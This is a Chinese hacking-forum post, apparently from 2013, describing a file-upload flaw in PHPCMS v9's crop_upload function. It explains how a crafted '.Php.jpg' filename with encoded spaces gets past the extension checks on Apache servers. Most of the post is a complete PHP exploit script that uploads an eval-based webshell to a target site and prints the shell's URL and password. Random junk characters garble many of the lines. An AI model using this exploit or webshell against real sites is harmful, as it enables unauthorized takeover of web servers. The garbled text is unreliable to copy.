找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2799|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
, |9 B9 s" H: @' S. N8 i) J6 e# D. }: M' Q9 ?/ K
简要描述:3 ?% F/ ~. ^" t" R' D" q
/ z  t% M8 V* e
phpcms v9 getshell (apache)$ B& h3 y. b. P1 z3 R7 m, r# s
详细说明:
  c, g& f' |4 Y4 q% N* c$ w: m, T5 J9 r" `7 |) n4 T9 h5 ~0 e' e- [
漏洞文件:phpcms\modules\attachment\attachments.php8 [! b3 z  C  X( Y

$ I! s5 J% W& A4 j( J6 Ypublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
, g9 Y4 @1 t1 L9 p) q2 w后缀检测:phpcms\modules\attachment\functions\global.func.php
1 U$ j0 d: @3 Y( @) y/ h" R& U2 f9 ?4 O0 b- M0 I+ J* l4 |9 `
2 S+ u  G4 v9 I$ H1 D/ r% t6 ^
3 s* M% G* P/ \. |0 ~$ I
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
# ]" }" v% d5 c. ?! x% F2 `7 l4 H% E" N. Y2 G
关键函数:
( t+ G% H/ }: y8 z- {; B1 J+ M
! v7 S# Q  U, M, f* d7 u - Y1 ?1 W/ _" t

7 G8 h8 U# e9 [! w* O% j8 Ffunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
$ A' q( n" u$ w, J% O* n
( E# b. H) ~7 V1 L- }  Fileext函数是对文件后缀名的提取。$ Q. H( M* k" i* j" j4 W
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php. x1 z3 k7 |% }* Y" }, ?7 E$ {( [
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
6 J1 T# ^# F4 m3 @% P! z) f7 L3 E我们回到public function crop_upload() 函数中
* Y9 \+ B( Y* T# p4 zif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
, v0 z' f, G3 m+ E3 S& Q3 e+ w, ]% b在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数. V0 x- d" v/ k- K- ]% n( ~
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
( x# Y7 t% @" Q& _经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
* g# x! r1 H) D; h1 T) a& i最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
& P" {% ?# q) R" Q, u0 g. T, B看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
3 N. \9 i( d9 o! q9 I, ]漏洞证明:# q5 \* y. ]  U: H" ]  R7 [, ^% c

: h' ~7 `& |9 H# R4 }' F2 pexp:
% [7 U' Y) ^0 m/ O7 ~+ V7 k1 C7 i
! i# _; Y$ [' m! J; u3 }2 j  S<?php
# B" _( w+ V; P; e6 s: M! yerror_reporting(E_ERROR);
* z. r9 I/ H  W- P9 {set_time_limit(0);8 E5 [& B# [, `7 P
$pass="ln";- C9 G6 H3 @% C+ e  r
print_r('
  Q! m$ ?& r  C/ i, ]9 V+ S+---------------------------------------------------------------------------+0 p+ K' n6 k$ f' i( z8 T% u0 o
PHPCms V9 GETSHELL 0DAY
! b2 P/ b8 i1 @5 w+ h  ecode by L.N.. b7 U' C3 a% S  ?9 g: D! [
- B& I$ {; Z5 s+ k* E5 O1 @
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net( v! `  |: l$ B: B
+---------------------------------------------------------------------------+
8 O  i7 x  o9 m0 \1 W5 J');5 h4 G" ]' a2 C1 s) k, k) C
if ($argc < 2) {  V' c' d" ~: a5 C6 q/ A
print_r('! ^; \% W2 Z2 u: S( f
+---------------------------------------------------------------------------+, ?0 p/ U2 d2 h3 _/ T  W# ?
Usage: php '.$argv[0].' url path
$ c3 M' A, H" a/ |6 c7 ]! _% V& f8 h# f- ?
Example:
) n) _: k9 V7 V. `% `1.php '.$argv[0].' lanu.sinaapp.com1 e! a% R/ Q- W; _; j2 Y( h' K
2.php '.$argv[0].' lanu.sinaapp.com /phpcms  j6 l: K* N% ]; H0 Z. @
+---------------------------------------------------------------------------+8 c) j# j' c9 ]( }8 Q
');# [# I- D' ^' \2 P
exit;9 h6 T/ R: T# P) v* z
}: I; m0 G; y1 F# g! }
' i4 m; S% O0 w
$url = $argv[1];  N/ ~8 w# p; x, ]
$path = $argv[2];: _+ F/ I8 x% n# o- O
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
# k5 Y' n" |! ?6 P8 c3 G+ u/ G$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';) n% _) j; @5 m6 \/ V
if($ret=Create_dir($url,$path)), J) a) n+ W; b5 x
{
0 ]+ @, P( w. F: {. W2 v//echo $ret;# z5 h- T7 W) a6 p( [
$pattern = "|Server:[^,]+?|U";; B- _8 d# k2 q& {8 c. M5 `
preg_match_all($pattern, $ret, $matches);
  O4 _/ a0 S3 r, [3 Aif($matches[0][0])
$ z0 ?2 ^9 d% T) n0 }: e{: @3 n- q9 H; q3 }) ?7 v' K: w) r
if(strpos($matches[0][0],'Apache') == false)
- K6 E: L+ _5 J6 o: I' B. `{/ u3 H- z( [  F* o3 m
echo "\n亲!此网站不是apache的网站。\n";exit;1 d5 w! q- s) j1 g3 |* p7 {# R
}/ f( }* N/ s4 O  D
}, e: }7 T# C6 M# Q5 ?: m. e
$ret = GetShell($url,$phpshell,$path,$file);  |! p: I1 o( y, g. E6 Q
$pattern = "|http:\/\/[^,]+?\.,?|U";: `$ C7 ?8 ]! V& A$ Z0 j5 {
preg_match_all($pattern, $ret, $matches);4 b( Q: P+ c# v0 T- r: a$ Y: z' T4 E
if($matches[0][0])2 t* n6 U( |2 l* ^% a
{
! N( @6 q" c! }$ \1 m# Iecho "\n".'密码为: '.$pass."\n";
, {, }, ?7 q! decho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;! M1 Q: c; Y/ S1 }$ d: H8 @0 {
}
4 y" x9 Y+ v& N" ~else
; ]( {1 B+ O2 g4 D8 i$ c& T: v{2 f1 T& y8 R; @
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
1 r7 I: F/ M( G& F+ F: X7 H- q: |% x$ Ipreg_match_all($pattern, $ret, $matches);6 y3 k0 h+ u4 @3 Q( _% x- J- v
if($matches[0][0])
5 f9 G3 [1 ?5 H2 e6 C{
6 G* `" P) I! w7 _. Eecho "\n".'密码为: '.$pass."\n";) u! a: Y$ w2 ^  g1 Y: B9 O/ M2 C
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
8 J8 _( R+ e% r! z+ b8 Y+ i}
3 R% d# ^  G" w" r2 R# yelse5 n, ^3 ?6 c% m2 i& P
{8 x+ x! ~' c2 L* s
echo "\r\n没得到!\n";exit;
4 ^* T% e5 t8 D5 M+ l' O4 p}/ K9 @3 V  U8 {- o
}
. |0 H' Q: ~9 ^: m}" M8 e. s7 C& W
- _& L9 t( b; k9 b8 X
function GetShell($url,$shell,$path,$js)7 H. C8 U/ K" B! U1 M
{
, {4 O1 ?( U5 ^) p# C6 }$content =$shell;7 O# x( K6 g1 q. R; ^8 p8 T
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";" h- @$ b9 n6 J8 Z
$data .= "Host: ".$url."\r\n";
3 A/ d9 W  d9 |7 X3 x1 L; j$ A$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
/ M9 S* X* J& c( m$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";2 V3 g- `: }. M$ Y  {/ w4 B
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 Q. G% ^8 C6 R$data .= "Connection: close\r\n";
+ Y' t) ]- m4 k$data .= "Content-Length: ".strlen($content)."\r\n\r\n";# Y4 z$ l+ y! h
$data .= $content."\r\n";- T; a4 k6 R9 y; R, p, u/ B' @: s
$ock=fsockopen($url,80);' d! |7 T- J$ @% D' y$ b' E
if (!$ock)) C, c! a1 Y" b
{
9 P8 h; @& h* B% _+ l3 {echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ a( C% {6 h# |# Y. U
}5 x7 f8 ~' [& s3 I" q4 q
else
- {5 p7 v8 p! I7 C" Q! m{2 @; N8 y1 K* A: z7 q6 w
fwrite($ock,$data);% ]3 Y* ?& ^) f2 a
$resp = '';2 i) C! P9 k9 ~" s, b# p
while (!feof($ock))
0 e- ?7 b7 H  ]0 _+ ?{1 ?9 Z$ Y, L/ C" V0 m8 {; f" |
$resp.=fread($ock, 1024);
' \+ }9 J! Y) W7 z& b) l}
; ]9 r8 V- y* xreturn $resp;6 |" n. p) U- G- n7 O: Q7 a
}
  V; y  f7 z' t! T}
, B9 u- R1 V' r4 L8 v5 X
9 i3 S( J9 L; O1 m* i6 {- Ofunction Create_dir($url,$path='')
( [1 m5 @- w+ G1 @* q{, O1 B* {  l0 B9 ^5 x0 e% \
$content ='I love you';
& |$ q3 Q5 ]( y% m1 F$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
+ X7 D4 F" W7 t( `% P0 S$data .= "Host: ".$url."\r\n";! N; `" k( t) E2 r
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";, W: J0 R0 h! g
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";: S. U# |& Z3 h3 K, g
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";3 E+ v' M4 m1 g
$data .= "Connection: close\r\n";% Z& o$ N/ d) |
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";* t; {( `4 j3 x5 s
$data .= $content."\r\n";  h! c4 R% M, M0 J0 x
$ock=fsockopen($url,80);
/ X* }; m3 b* s4 _if (!$ock)6 L7 o5 V' G7 s0 M
{2 \( w1 j" O' ]
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;, C- D$ A7 H. t4 ?" e) C4 @& F0 g
}9 k9 |+ ^8 C" f  K
fwrite($ock,$data);% t6 a& b# ?0 X
$resp = '';
- q  x0 y3 \8 X6 m( {/ M" d/ Zwhile (!feof($ock))
% K" e0 Z0 i, [" R{
- M. m) L! O0 Y9 Q$resp.=fread($ock, 1024);
1 s: v: C; X* r+ k7 m- H}% D1 W( Y, B% }% S/ E8 P
return $resp;: O' W9 d% L) L  ?
}1 f( ?+ M4 D1 U+ P3 `
?> 6 |" z! ~. n' l! W& ~4 r
3 k+ ]& o, L# b4 Q6 `! i* v/ \1 Y: J
修复方案:+ e* L; `- ]' A; y" b: X
; O$ A& v, m$ G5 d$ Y( [
过滤过滤再过滤# \6 f5 S4 T; T* S  N
- D. K, y* H- S* y% F, d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表